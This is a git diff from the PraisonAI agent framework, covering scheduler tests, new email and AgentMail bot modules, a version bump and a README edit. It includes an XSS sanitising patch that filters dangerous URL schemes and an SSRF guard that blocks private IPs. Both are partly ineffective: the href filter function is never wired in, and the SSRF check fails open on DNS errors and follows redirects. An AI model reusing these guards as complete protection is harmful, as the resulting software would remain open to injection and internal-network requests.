with tempfile.TemporaryDirectory() as tmpdir:
|
||||
config_path = os.path.join(tmpdir, "config.yaml")
|
||||
|
||||
# Create store and add history
|
||||
store1 = ConfigYamlScheduleStore(config_path=config_path)
|
||||
store1.log_run(job_id="job1", status="succeeded", job_name="Job 1")
|
||||
|
||||
# Verify history file exists
|
||||
history_path = os.path.join(tmpdir, "run_history.yaml")
|
||||
assert os.path.exists(history_path)
|
||||
|
||||
# Create new store and verify history is loaded
|
||||
store2 = ConfigYamlScheduleStore(config_path=config_path)
|
||||
history = store2.get_history()
|
||||
assert len(history) == 1
|
||||
assert history[0].job_id == "job1"
|
||||
|
||||
|
||||
class TestScheduleRunnerHistory:
|
||||
"""Tests for ScheduleRunner.mark_run() with history params."""
|
||||
|
||||
def test_mark_run_logs_history(self):
|
||||
"""Test that mark_run calls log_run on the store."""
|
||||
from praisonaiagents.scheduler.runner import ScheduleRunner
|
||||
from praisonaiagents.scheduler.store import FileScheduleStore
|
||||
from praisonaiagents.scheduler.models import ScheduleJob, Schedule
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
store = FileScheduleStore(store_dir=tmpdir)
|
||||
runner = ScheduleRunner(store)
|
||||
|
||||
job = ScheduleJob(
|
||||
name="Test Job",
|
||||
schedule=Schedule(kind="every", every_seconds=60),
|
||||
message="Test message",
|
||||
)
|
||||
store.add(job)
|
||||
|
||||
# Mark run with history params
|
||||
runner.mark_run(
|
||||
job,
|
||||
status="succeeded",
|
||||
result="Agent response",
|
||||
duration=2.5,
|
||||
delivered=True,
|
||||
)
|
||||
|
||||
# Verify history was logged
|
||||
history = store.get_history()
|
||||
assert len(history) == 1
|
||||
assert history[0].job_id == job.id
|
||||
assert history[0].job_name == "Test Job"
|
||||
assert history[0].status == "succeeded"
|
||||
assert history[0].result == "Agent response"
|
||||
assert history[0].duration == 2.5
|
||||
assert history[0].delivered is True
|
||||
|
||||
def test_mark_run_updates_last_run_at(self):
|
||||
"""Test that mark_run still updates last_run_at."""
|
||||
from praisonaiagents.scheduler.runner import ScheduleRunner
|
||||
from praisonaiagents.scheduler.store import FileScheduleStore
|
||||
from praisonaiagents.scheduler.models import ScheduleJob, Schedule
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmpdir:
|
||||
store = FileScheduleStore(store_dir=tmpdir)
|
||||
runner = ScheduleRunner(store)
|
||||
|
||||
job = ScheduleJob(
|
||||
name="Test Job",
|
||||
schedule=Schedule(kind="every", every_seconds=60),
|
||||
message="Test message",
|
||||
)
|
||||
store.add(job)
|
||||
assert job.last_run_at is None
|
||||
|
||||
runner.mark_run(job, status="succeeded")
|
||||
|
||||
# Verify last_run_at was updated
|
||||
updated_job = store.get(job.id)
|
||||
assert updated_job.last_run_at is not None
|
||||
|
||||
|
||||
class TestSchedulerExports:
|
||||
"""Tests for scheduler module exports."""
|
||||
|
||||
def test_run_record_exported(self):
|
||||
"""Test that RunRecord is exported from scheduler module."""
|
||||
from praisonaiagents.scheduler import RunRecord
|
||||
|
||||
record = RunRecord(job_id="test", status="succeeded")
|
||||
assert record.job_id == "test"
|
||||
|
||||
def test_all_exports_available(self):
|
||||
"""Test that all expected exports are available."""
|
||||
from praisonaiagents import scheduler
|
||||
|
||||
assert hasattr(scheduler, "RunRecord")
|
||||
assert hasattr(scheduler, "ScheduleJob")
|
||||
assert hasattr(scheduler, "Schedule")
|
||||
assert hasattr(scheduler, "DeliveryTarget")
|
||||
assert hasattr(scheduler, "FileScheduleStore")
|
||||
assert hasattr(scheduler, "ConfigYamlScheduleStore")
|
||||
assert hasattr(scheduler, "ScheduleRunner")
|
||||
assert hasattr(scheduler, "ScheduleStoreProtocol")
|
||||
Generated
+873
-79
File diff suppressed because it is too large.
Load diff
@@ -50,16 +50,11 @@ PraisonAI 🦞 — Automate and solve complex challenges with AI agent teams tha
|
||||
|
||||
## ⚡ Performance
|
||||
|
||||
PraisonAI Agents is the **fastest AI agent framework** for agent instantiation.
|
||||
PraisonAI is built for speed, with agent instantiation in under 4μs. This reduces overhead, improves responsiveness, and helps multi-agent systems scale efficiently in real-world production workloads.
|
||||
|
||||
| Framework | Avg Time (μs) | Relative |
|
||||
|-----------|---------------|----------|
|
||||
| **PraisonAI** | **3.77** | **1.00x (fastest)** |
|
||||
| OpenAI Agents SDK | 5.26 | 1.39x |
|
||||
| Agno | 5.64 | 1.49x |
|
||||
| PraisonAI (LiteLLM) | 7.56 | 2.00x |
|
||||
| PydanticAI | 226.94 | 60.16x |
|
||||
| LangGraph | 4,558.71 | 1,209x |
|
||||
| Performance Metric | PraisonAI |
|
||||
|--------------------|-----------|
|
||||
| Avg Instantiation Time | **3.77 μs** |
|
||||
|
||||
---
|
||||
|
||||
|
||||
+20
-1
@@ -1,4 +1,5 @@
|
||||
from flask import Flask
|
||||
from markupsafe import escape
|
||||
import markdown
|
||||
|
||||
app = Flask(__name__)
|
||||
@@ -11,7 +12,25 @@ def basic():
|
||||
@app.route('/')
|
||||
def home():
|
||||
output = basic()
|
||||
html_output = markdown.markdown(output)
|
||||
# Convert markdown to HTML, then sanitize the output to prevent XSS
|
||||
html_output = markdown.markdown(str(output))
|
||||
# Use bleach to sanitize HTML output (allows safe tags only)
|
||||
try:
|
||||
import bleach
|
||||
allowed_tags = ['p', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'ul', 'ol', 'li',
|
||||
'strong', 'em', 'code', 'pre', 'blockquote', 'a', 'br', 'hr']
|
||||
allowed_attrs = {'a': ['href', 'title']}
|
||||
# Strip javascript: URLs from href attributes
|
||||
def filter_href(tag, name, value):
|
||||
if name == 'href':
|
||||
if value.lower().startswith(('javascript:', 'data:', 'vbscript:')):
|
||||
return False
|
||||
return True
|
||||
html_output = bleach.clean(html_output, tags=allowed_tags, attributes=allowed_attrs,
|
||||
strip=True, protocols=['http', 'https', 'mailto'])
|
||||
except ImportError:
|
||||
# Fallback: escape the entire output if bleach not available
|
||||
html_output = str(escape(html_output))
|
||||
return f'<html><body>{html_output}</body></html>'
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
@@ -3,8 +3,8 @@ class Praisonai < Formula
|
||||
|
||||
desc "AI tools for various AI applications"
|
||||
homepage "https://github.com/MervinPraison/PraisonAI"
|
||||
url "https://github.com/MervinPraison/PraisonAI/archive/refs/tags/v4.5.63.tar.gz"
|
||||
sha256 `curl -sL https://github.com/MervinPraison/PraisonAI/archive/refs/tags/v4.5.63.tar.gz | shasum -a 256`.split.first
|
||||
url "https://github.com/MervinPraison/PraisonAI/archive/refs/tags/v4.5.80.tar.gz"
|
||||
sha256 `curl -sL https://github.com/MervinPraison/PraisonAI/archive/refs/tags/v4.5.80.tar.gz | shasum -a 256`.split.first
|
||||
license "MIT"
|
||||
|
||||
depends_on "[email protected]"
|
||||
|
||||
@@ -271,6 +271,23 @@ class URLReader:
|
||||
return []
|
||||
|
||||
try:
|
||||
# Validate URL to prevent SSRF
|
||||
from urllib.parse import urlparse
|
||||
parsed = urlparse(source)
|
||||
if parsed.scheme not in ("http", "https"):
|
||||
logger.error(f"Unsupported URL scheme: {parsed.scheme}")
|
||||
return []
|
||||
import ipaddress
|
||||
try:
|
||||
import socket
|
||||
hostname = parsed.hostname or ""
|
||||
ip = ipaddress.ip_address(socket.gethostbyname(hostname))
|
||||
if ip.is_private or ip.is_loopback or ip.is_reserved or ip.is_link_local:
|
||||
logger.error(f"URL resolves to private/reserved IP: {ip}")
|
||||
return []
|
||||
except (socket.gaierror, ValueError):
|
||||
pass # Let the request handle DNS resolution errors
|
||||
|
||||
response = httpx.get(source, timeout=30, follow_redirects=True)
|
||||
response.raise_for_status()
|
||||
content = response.text
|
||||
|
||||
@@ -12,6 +12,8 @@ if TYPE_CHECKING:
|
||||
from .discord import DiscordBot
|
||||
from .slack import SlackBot
|
||||
from .whatsapp import WhatsAppBot
|
||||
from .email import EmailBot
|
||||
from .agentmail import AgentMailBot
|
||||
from .bot import Bot
|
||||
from .botos import BotOS
|
||||
from ._slack_approval import SlackApproval
|
||||
@@ -34,6 +36,12 @@ def __getattr__(name: str):
|
||||
if name == "WhatsAppBot":
|
||||
from .whatsapp import WhatsAppBot
|
||||
return WhatsAppBot
|
||||
if name == "EmailBot":
|
||||
from .email import EmailBot
|
||||
return EmailBot
|
||||
if name == "AgentMailBot":
|
||||
from .agentmail import AgentMailBot
|
||||
return AgentMailBot
|
||||
if name == "Bot":
|
||||
from .bot import Bot
|
||||
return Bot
|
||||
@@ -58,7 +66,7 @@ def __getattr__(name: str):
|
||||
raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
|
||||
|
||||
__all__ = [
|
||||
"TelegramBot", "DiscordBot", "SlackBot", "WhatsAppBot",
|
||||
"TelegramBot", "DiscordBot", "SlackBot", "WhatsAppBot", "EmailBot", "AgentMailBot",
|
||||
"Bot", "BotOS",
|
||||
"SlackApproval", "TelegramApproval", "DiscordApproval",
|
||||
"WebhookApproval", "HTTPApproval",
|
||||
|
||||
@@ -24,10 +24,22 @@ class AgentConfigSchema(BaseModel):
|
||||
class ChannelConfigSchema(BaseModel):
|
||||
"""Schema for a single channel configuration."""
|
||||
token: str = ""
|
||||
mode: str = "poll" # poll | ws | webhook | hybrid
|
||||
group_policy: str = "respond_all" # respond_all, mention_only, command_only
|
||||
allowlist: List[str] = Field(default_factory=list)
|
||||
blocklist: List[str] = Field(default_factory=list)
|
||||
webhook_url: Optional[str] = None
|
||||
webhook_port: int = 8080
|
||||
|
||||
@field_validator("mode")
|
||||
@classmethod
|
||||
def validate_mode(cls, v: str) -> str:
|
||||
allowed = {"poll", "ws", "webhook", "hybrid"}
|
||||
if v not in allowed:
|
||||
raise ValueError(
|
||||
f"Invalid mode '{v}'. Must be one of: {', '.join(sorted(allowed))}"
|
||||
)
|
||||
return v
|
||||
|
||||
@field_validator("token")
|
||||
@classmethod
|
||||
@@ -91,7 +103,7 @@ class BotYamlSchema(BaseModel):
|
||||
"(telegram, discord, slack, whatsapp) to your bot.yaml"
|
||||
)
|
||||
# Validate channel names
|
||||
valid_platforms = {"telegram", "discord", "slack", "whatsapp"}
|
||||
valid_platforms = {"telegram", "discord", "slack", "whatsapp", "email", "agentmail"}
|
||||
for name in self.channels:
|
||||
if name not in valid_platforms:
|
||||
raise ValueError(
|
||||
|
||||
@@ -0,0 +1,128 @@
|
||||
"""
|
||||
Shared email utilities for PraisonAI bots.
|
||||
|
||||
Contains common email logic used by both EmailBot (IMAP/SMTP) and AgentMailBot (API).
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from typing import Dict, Set
|
||||
|
||||
# Headers that indicate auto-generated/auto-reply emails
|
||||
AUTO_REPLY_HEADERS: Set[str] = {
|
||||
"auto-submitted",
|
||||
"x-auto-response-suppress",
|
||||
"x-autoreply",
|
||||
"x-autorespond",
|
||||
"x-autogenerated",
|
||||
"precedence", # Often set to "bulk" or "auto_reply"
|
||||
}
|
||||
|
||||
# Sender patterns to never reply to (prevents loops)
|
||||
BLOCKED_SENDERS: Set[str] = {
|
||||
"mailer-daemon",
|
||||
"postmaster",
|
||||
"noreply",
|
||||
"no-reply",
|
||||
"donotreply",
|
||||
"do-not-reply",
|
||||
"bounce",
|
||||
"auto",
|
||||
"daemon",
|
||||
}
|
||||
|
||||
|
||||
def is_auto_reply(headers: Dict[str, str]) -> bool:
|
||||
"""Check if email headers indicate an auto-reply.
|
||||
|
||||
Args:
|
||||
headers: Dictionary of email headers (case-insensitive keys recommended).
|
||||
|
||||
Returns:
|
||||
True if the email appears to be an auto-reply.
|
||||
"""
|
||||
headers_lower = {k.lower(): v for k, v in headers.items()}
|
||||
|
||||
for header in AUTO_REPLY_HEADERS:
|
||||
if header in headers_lower:
|
||||
value = headers_lower[header]
|
||||
# auto-submitted: auto-replied, auto-generated, auto-notified
|
||||
if header == "auto-submitted" and value and value.lower() != "no":
|
||||
return True
|
||||
# precedence: bulk, junk, list, auto_reply
|
||||
if header == "precedence" and value and value.lower() in ("bulk", "junk", "auto_reply"):
|
||||
return True
|
||||
# Other headers: any non-empty value indicates auto-reply
|
||||
if header not in ("auto-submitted", "precedence") and value:
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
|
||||
def is_blocked_sender(sender: str) -> bool:
|
||||
"""Check if sender should be blocked (system addresses, no-reply, etc.).
|
||||
|
||||
Args:
|
||||
sender: Email address or display name of sender.
|
||||
|
||||
Returns:
|
||||
True if the sender should not receive replies.
|
||||
"""
|
||||
if not sender:
|
||||
return True
|
||||
|
||||
sender_lower = sender.lower()
|
||||
return any(blocked in sender_lower for blocked in BLOCKED_SENDERS)
|
||||
|
||||
|
||||
def extract_email_address(full_address: str) -> str:
|
||||
"""Extract email address from a full address string.
|
||||
|
||||
Args:
|
||||
full_address: Full address like "John Doe <[email protected]>" or "[email protected]"
|
||||
|
||||
Returns:
|
||||
Just the email address part.
|
||||
"""
|
||||
if not full_address:
|
||||
return ""
|
||||
|
||||
# Handle "Name <email>" format
|
||||
if "<" in full_address and ">" in full_address:
|
||||
start = full_address.index("<") + 1
|
||||
end = full_address.index(">")
|
||||
return full_address[start:end].strip()
|
||||
|
||||
return full_address.strip()
|
||||
|
||||
|
||||
def normalize_subject(subject: str, strip_prefixes: bool = True) -> str:
|
||||
"""Normalize email subject for comparison/threading.
|
||||
|
||||
Args:
|
||||
subject: Original subject line.
|
||||
strip_prefixes: If True, removes Re:, Fwd:, etc.
|
||||
|
||||
Returns:
|
||||
Normalized subject string.
|
||||
"""
|
||||
if not subject:
|
||||
return ""
|
||||
|
||||
result = subject.strip()
|
||||
|
||||
if strip_prefixes:
|
||||
# Remove common reply/forward prefixes
|
||||
prefixes = ("re:", "fwd:", "fw:", "aw:", "sv:", "vs:")
|
||||
while True:
|
||||
lower = result.lower()
|
||||
stripped = False
|
||||
for prefix in prefixes:
|
||||
if lower.startswith(prefix):
|
||||
result = result[len(prefix):].strip()
|
||||
stripped = True
|
||||
break
|
||||
if not stripped:
|
||||
break
|
||||
|
||||
return result
|
||||
@@ -15,6 +15,8 @@ _BUILTIN_PLATFORMS: Dict[str, tuple] = {
|
||||
"discord": ("praisonai.bots.discord", "DiscordBot"),
|
||||
"slack": ("praisonai.bots.slack", "SlackBot"),
|
||||
"whatsapp": ("praisonai.bots.whatsapp", "WhatsAppBot"),
|
||||
"email": ("praisonai.bots.email", "EmailBot"),
|
||||
"agentmail": ("praisonai.bots.agentmail", "AgentMailBot"),
|
||||
}
|
||||
|
||||
# Custom platforms registered at runtime
|
||||
|
||||
@@ -0,0 +1,913 @@
|
||||
"""
|
||||
AgentMail Bot implementation for PraisonAI.
|
||||
|
||||
Provides an agent-native email bot using the AgentMail API for zero-config
|
||||
email functionality. No IMAP/SMTP setup required.
|
||||
|
||||
Requires: pip install agentmail
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import logging
|
||||
import os
|
||||
import time
|
||||
import uuid
|
||||
from typing import Any, Callable, Dict, List, Optional, TYPE_CHECKING, Union
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from praisonaiagents import Agent
|
||||
|
||||
from praisonai.bots._protocol_mixin import ChatCommandMixin, MessageHookMixin
|
||||
from praisonaiagents.bots import (
|
||||
BotConfig,
|
||||
BotMessage,
|
||||
BotUser,
|
||||
BotChannel,
|
||||
MessageType,
|
||||
ProbeResult,
|
||||
HealthResult,
|
||||
)
|
||||
|
||||
from ._session import BotSessionManager
|
||||
from ._email_utils import is_auto_reply, is_blocked_sender, extract_email_address
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class AgentMailBot(ChatCommandMixin, MessageHookMixin):
|
||||
"""Agent-native email bot using AgentMail API.
|
||||
|
||||
Zero-config email for agents — no IMAP/SMTP setup required.
|
||||
Creates dedicated inboxes programmatically via AgentMail API.
|
||||
|
||||
Example:
|
||||
from praisonai.bots import AgentMailBot
|
||||
from praisonaiagents import Agent
|
||||
|
||||
agent = Agent(name="email_assistant")
|
||||
bot = AgentMailBot(
|
||||
token="am_...", # AGENTMAIL_API_KEY
|
||||
agent=agent,
|
||||
)
|
||||
|
||||
await bot.start()
|
||||
print(bot.email_address) # [email protected]
|
||||
|
||||
Environment variables (if not passed directly):
|
||||
AGENTMAIL_API_KEY: API key for AgentMail service
|
||||
AGENTMAIL_INBOX_ID: Optional existing inbox ID to reuse
|
||||
AGENTMAIL_DOMAIN: Optional custom domain for inbox creation
|
||||
"""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
token: str,
|
||||
agent: Optional["Agent"] = None,
|
||||
config: Optional[BotConfig] = None,
|
||||
inbox_id: Optional[str] = None,
|
||||
domain: Optional[str] = None,
|
||||
polling_interval: int = 10,
|
||||
mode: Optional[str] = None,
|
||||
webhook_port: Optional[int] = None,
|
||||
**kwargs,
|
||||
):
|
||||
"""Initialize AgentMailBot.
|
||||
|
||||
Args:
|
||||
token: AgentMail API key (or set AGENTMAIL_API_KEY env var)
|
||||
agent: PraisonAI agent to handle messages
|
||||
config: Bot configuration
|
||||
inbox_id: Existing inbox ID to reuse (optional)
|
||||
domain: Custom domain for new inbox (optional)
|
||||
polling_interval: Seconds between polling for new messages
|
||||
mode: Event mode — poll (default), ws, webhook, or hybrid
|
||||
webhook_port: Port for webhook server (default: 8080)
|
||||
**kwargs: Additional configuration
|
||||
"""
|
||||
self._token = token or os.getenv("AGENTMAIL_API_KEY", "")
|
||||
self._agent = agent
|
||||
self._inbox_id = inbox_id or os.getenv("AGENTMAIL_INBOX_ID")
|
||||
self._domain = domain or os.getenv("AGENTMAIL_DOMAIN")
|
||||
self._polling_interval = polling_interval
|
||||
|
||||
# Bot state
|
||||
self._is_running = False
|
||||
self._started_at: Optional[float] = None
|
||||
self._bot_user: Optional[BotUser] = None
|
||||
self._email_address: Optional[str] = None
|
||||
self._poll_task: Optional[asyncio.Task] = None
|
||||
self._ws_task: Optional[asyncio.Task] = None
|
||||
self._stop_event = asyncio.Event()
|
||||
|
||||
# AgentMail clients (lazy loaded)
|
||||
self._client: Any = None
|
||||
self._async_client: Any = None
|
||||
|
||||
# Webhook server state
|
||||
self._webhook_runner: Any = None
|
||||
self._webhook_site: Any = None
|
||||
|
||||
# Session manager for conversation state
|
||||
self.config = config or BotConfig()
|
||||
self._session = BotSessionManager(self.config)
|
||||
|
||||
# Resolve mode: explicit param > config > default
|
||||
if mode:
|
||||
self._mode = mode
|
||||
elif self.config.mode != "poll":
|
||||
self._mode = self.config.mode
|
||||
else:
|
||||
self._mode = "poll"
|
||||
|
||||
# Resolve webhook port
|
||||
self._webhook_port = webhook_port or self.config.webhook_port
|
||||
|
||||
# Command and message handlers
|
||||
self._command_handlers: Dict[str, Callable] = {}
|
||||
self._message_handlers: List[Callable] = []
|
||||
|
||||
# Track processed message IDs to avoid duplicates
|
||||
self._processed_ids: set = set()
|
||||
|
||||
@property
|
||||
def platform(self) -> str:
|
||||
"""Platform identifier."""
|
||||
return "agentmail"
|
||||
|
||||
@property
|
||||
def is_running(self) -> bool:
|
||||
"""Whether the bot is currently running."""
|
||||
return self._is_running
|
||||
|
||||
@property
|
||||
def bot_user(self) -> Optional[BotUser]:
|
||||
"""The bot's user identity."""
|
||||
return self._bot_user
|
||||
|
||||
@property
|
||||
def email_address(self) -> Optional[str]:
|
||||
"""The bot's email address."""
|
||||
return self._email_address
|
||||
|
||||
def get_agent(self) -> Optional["Agent"]:
|
||||
"""Get the associated agent."""
|
||||
return self._agent
|
||||
|
||||
def set_agent(self, agent: "Agent") -> None:
|
||||
"""Set the associated agent."""
|
||||
self._agent = agent
|
||||
|
||||
def _get_client(self) -> Any:
|
||||
"""Lazy load sync AgentMail client."""
|
||||
if self._client is None:
|
||||
try:
|
||||
from agentmail import AgentMail
|
||||
self._client = AgentMail(api_key=self._token)
|
||||
except ImportError:
|
||||
raise ImportError(
|
||||
"AgentMail package not installed. "
|
||||
"Install with: pip install agentmail"
|
||||
)
|
||||
return self._client
|
||||
|
||||
def _get_async_client(self) -> Any:
|
||||
"""Lazy load async AgentMail client (for WS mode)."""
|
||||
if self._async_client is None:
|
||||
try:
|
||||
from agentmail import AsyncAgentMail
|
||||
self._async_client = AsyncAgentMail(api_key=self._token)
|
||||
except ImportError:
|
||||
raise ImportError(
|
||||
"AgentMail package not installed. "
|
||||
"Install with: pip install agentmail"
|
||||
)
|
||||
return self._async_client
|
||||
|
||||
async def start(self) -> None:
|
||||
"""Start the AgentMail bot.
|
||||
|
||||
Creates or connects to an inbox and begins receiving messages
|
||||
using the configured mode (poll, ws, webhook, or hybrid).
|
||||
"""
|
||||
if self._is_running:
|
||||
logger.warning("AgentMailBot is already running")
|
||||
return
|
||||
|
||||
if not self._token:
|
||||
raise ValueError(
|
||||
"AgentMail API key required. Set AGENTMAIL_API_KEY env var or pass token parameter."
|
||||
)
|
||||
|
||||
client = self._get_client()
|
||||
|
||||
# Create or get inbox
|
||||
if self._inbox_id:
|
||||
# Use existing inbox — inbox_id IS the email address in AgentMail SDK
|
||||
self._email_address = self._inbox_id
|
||||
logger.info(f"Using existing AgentMail inbox: {self._email_address}")
|
||||
else:
|
||||
# Create new inbox
|
||||
try:
|
||||
inbox_params = {}
|
||||
if self._domain:
|
||||
inbox_params["domain"] = self._domain
|
||||
inbox = client.inboxes.create(**inbox_params)
|
||||
# SDK v0.4.7: inbox_id IS the email address (e.g. "[email protected]")
|
||||
self._inbox_id = inbox.inbox_id
|
||||
self._email_address = inbox.inbox_id
|
||||
logger.info(f"Created AgentMail inbox: {self._email_address}")
|
||||
except Exception as e:
|
||||
raise ConnectionError(f"Failed to create inbox: {e}")
|
||||
|
||||
self._bot_user = BotUser(
|
||||
user_id=self._inbox_id,
|
||||
username=self._email_address,
|
||||
display_name=self._email_address.split("@")[0] if self._email_address else "agent",
|
||||
is_bot=True,
|
||||
)
|
||||
|
||||
self._is_running = True
|
||||
self._started_at = time.time()
|
||||
self._stop_event.clear()
|
||||
|
||||
# Branch on mode
|
||||
if self._mode == "ws":
|
||||
self._ws_task = asyncio.create_task(self._ws_loop())
|
||||
logger.info(f"AgentMailBot started (ws): {self._email_address}")
|
||||
elif self._mode == "webhook":
|
||||
await self._start_webhook_mode()
|
||||
logger.info(f"AgentMailBot started (webhook): {self._email_address}")
|
||||
elif self._mode == "hybrid":
|
||||
self._ws_task = asyncio.create_task(self._ws_loop())
|
||||
self._poll_task = asyncio.create_task(
|
||||
self._poll_loop(interval_override=60)
|
||||
)
|
||||
logger.info(f"AgentMailBot started (hybrid): {self._email_address}")
|
||||
else:
|
||||
# Default: poll mode (existing behaviour — zero breaking change)
|
||||
self._poll_task = asyncio.create_task(self._poll_loop())
|
||||
logger.info(f"AgentMailBot started (poll): {self._email_address}")
|
||||
|
||||
async def stop(self) -> None:
|
||||
"""Stop the AgentMail bot."""
|
||||
if not self._is_running:
|
||||
return
|
||||
|
||||
self._is_running = False
|
||||
self._stop_event.set()
|
||||
|
||||
# Cancel poll task
|
||||
if self._poll_task:
|
||||
self._poll_task.cancel()
|
||||
try:
|
||||
await self._poll_task
|
||||
except asyncio.CancelledError:
|
||||
pass
|
||||
self._poll_task = None
|
||||
|
||||
# Cancel WS task
|
||||
if self._ws_task:
|
||||
self._ws_task.cancel()
|
||||
try:
|
||||
await self._ws_task
|
||||
except asyncio.CancelledError:
|
||||
pass
|
||||
self._ws_task = None
|
||||
|
||||
# Stop webhook server
|
||||
if self._webhook_site:
|
||||
await self._webhook_site.stop()
|
||||
self._webhook_site = None
|
||||
if self._webhook_runner:
|
||||
await self._webhook_runner.cleanup()
|
||||
self._webhook_runner = None
|
||||
|
||||
logger.info("AgentMailBot stopped")
|
||||
|
||||
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
# Poll mode (existing behaviour)
|
||||
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
|
||||
async def _poll_loop(self, interval_override: Optional[int] = None) -> None:
|
||||
"""Poll for new messages.
|
||||
|
||||
Args:
|
||||
interval_override: Override polling interval (used by hybrid mode
|
||||
to set a slower 60s fallback poll).
|
||||
"""
|
||||
interval = interval_override or self._polling_interval
|
||||
while self._is_running:
|
||||
try:
|
||||
await self._check_new_messages()
|
||||
except Exception as e:
|
||||
logger.error(f"Error checking messages: {e}")
|
||||
|
||||
# Wait for interval or stop signal
|
||||
try:
|
||||
await asyncio.wait_for(
|
||||
self._stop_event.wait(),
|
||||
timeout=interval
|
||||
)
|
||||
break # Stop event was set
|
||||
except asyncio.TimeoutError:
|
||||
continue # Normal timeout, continue polling
|
||||
|
||||
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
# WebSocket mode
|
||||
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
|
||||
async def _ws_loop(self) -> None:
|
||||
"""WebSocket event loop with auto-reconnect.
|
||||
|
||||
Connects to AgentMail WebSocket API, subscribes to message.received
|
||||
events for this inbox, and processes them via _handle_message.
|
||||
Reconnects with exponential backoff on disconnection.
|
||||
"""
|
||||
backoff = 1 # Start at 1s
|
||||
max_backoff = 60
|
||||
|
||||
while self._is_running:
|
||||
try:
|
||||
await self._ws_connect_and_listen()
|
||||
# If we exit cleanly (stop called), break
|
||||
if not self._is_running:
|
||||
break
|
||||
except asyncio.CancelledError:
|
||||
raise
|
||||
except Exception as e:
|
||||
if not self._is_running:
|
||||
break
|
||||
logger.warning(
|
||||
f"WebSocket disconnected: {e}. "
|
||||
f"Reconnecting in {backoff}s..."
|
||||
)
|
||||
try:
|
||||
await asyncio.wait_for(
|
||||
self._stop_event.wait(),
|
||||
timeout=backoff
|
||||
)
|
||||
break # Stop was requested during backoff
|
||||
except asyncio.TimeoutError:
|
||||
pass
|
||||
backoff = min(backoff * 2, max_backoff)
|
||||
else:
|
||||
# Reset backoff on clean disconnect
|
||||
backoff = 1
|
||||
|
||||
async def _ws_connect_and_listen(self) -> None:
|
||||
"""Single WebSocket connection session."""
|
||||
try:
|
||||
from agentmail import AsyncAgentMail, Subscribe, MessageReceivedEvent
|
||||
except ImportError:
|
||||
raise ImportError(
|
||||
"AgentMail package not installed. "
|
||||
"Install with: pip install agentmail"
|
||||
)
|
||||
|
||||
async_client = self._get_async_client()
|
||||
|
||||
async with async_client.websockets.connect() as ws:
|
||||
# Subscribe to message.received events for this inbox
|
||||
await ws.send_subscribe(
|
||||
Subscribe(
|
||||
event_types=["message.received"],
|
||||
inbox_ids=[self._inbox_id] if self._inbox_id else None,
|
||||
)
|
||||
)
|
||||
logger.info(f"WebSocket connected, subscribed to {self._inbox_id}")
|
||||
|
||||
async for event in ws:
|
||||
if not self._is_running:
|
||||
break
|
||||
|
||||
if isinstance(event, MessageReceivedEvent):
|
||||
await self._handle_ws_event(event)
|
||||
|
||||
async def _handle_ws_event(self, event: Any) -> None:
|
||||
"""Convert a WebSocket MessageReceivedEvent to BotMessage and handle."""
|
||||
try:
|
||||
msg_id = getattr(event, 'message_id', None)
|
||||
if not msg_id:
|
||||
return
|
||||
|
||||
# Dedup — shared with poll mode
|
||||
if msg_id in self._processed_ids:
|
||||
return
|
||||
self._processed_ids.add(msg_id)
|
||||
|
||||
sender_raw = getattr(event, 'from_', '') or ''
|
||||
sender_email = extract_email_address(sender_raw)
|
||||
|
||||
# Skip auto-replies and blocked senders
|
||||
headers = getattr(event, 'headers', {}) or {}
|
||||
if is_auto_reply(headers):
|
||||
logger.debug(f"Skipping auto-reply from {sender_email}")
|
||||
return
|
||||
if is_blocked_sender(sender_email):
|
||||
logger.debug(f"Skipping blocked sender: {sender_email}")
|
||||
return
|
||||
|
||||
body = getattr(event, 'extracted_text', '') or getattr(event, 'text', '') or ''
|
||||
|
||||
message = BotMessage(
|
||||
message_id=msg_id,
|
||||
content=body,
|
||||
message_type=MessageType.TEXT,
|
||||
sender=BotUser(
|
||||
user_id=sender_email,
|
||||
username=sender_email,
|
||||
display_name=sender_email.split("@")[0] if sender_email else "unknown",
|
||||
),
|
||||
channel=BotChannel(
|
||||
channel_id=self._inbox_id,
|
||||
name=self._email_address or self._inbox_id,
|
||||
),
|
||||
thread_id=getattr(event, 'thread_id', None),
|
||||
metadata={
|
||||
"subject": getattr(event, 'subject', ''),
|
||||
"message_id": msg_id,
|
||||
"in_reply_to": getattr(event, 'in_reply_to', ''),
|
||||
"source": "websocket",
|
||||
},
|
||||
)
|
||||
|
||||
await self._handle_message(message)
|
||||
|
||||
except Exception as e:
|
||||
logger.error(f"Error handling WS event: {e}")
|
||||
|
||||
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
# Webhook mode
|
||||
# ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
|
||||
|
||||
async def _start_webhook_mode(self) -> None:
|
||||
"""Start an aiohttp webhook server to receive AgentMail events."""
|
||||
try:
|
||||
from aiohttp import web
|
||||
except ImportError:
|
||||
raise ImportError(
|
||||
"aiohttp required for webhook mode. "
|
||||
"Install with: pip install aiohttp"
|
||||
)
|
||||
|
||||
app = web.Application()
|
||||
webhook_path = self.config.webhook_path or "/webhook"
|
||||
app.router.add_post(webhook_path, self._handle_email_webhook)
|
||||
app.router.add_get("/health", self._handle_health_check)
|
||||
|
||||
self._webhook_runner = web.AppRunner(app)
|
||||
await self._webhook_runner.setup()
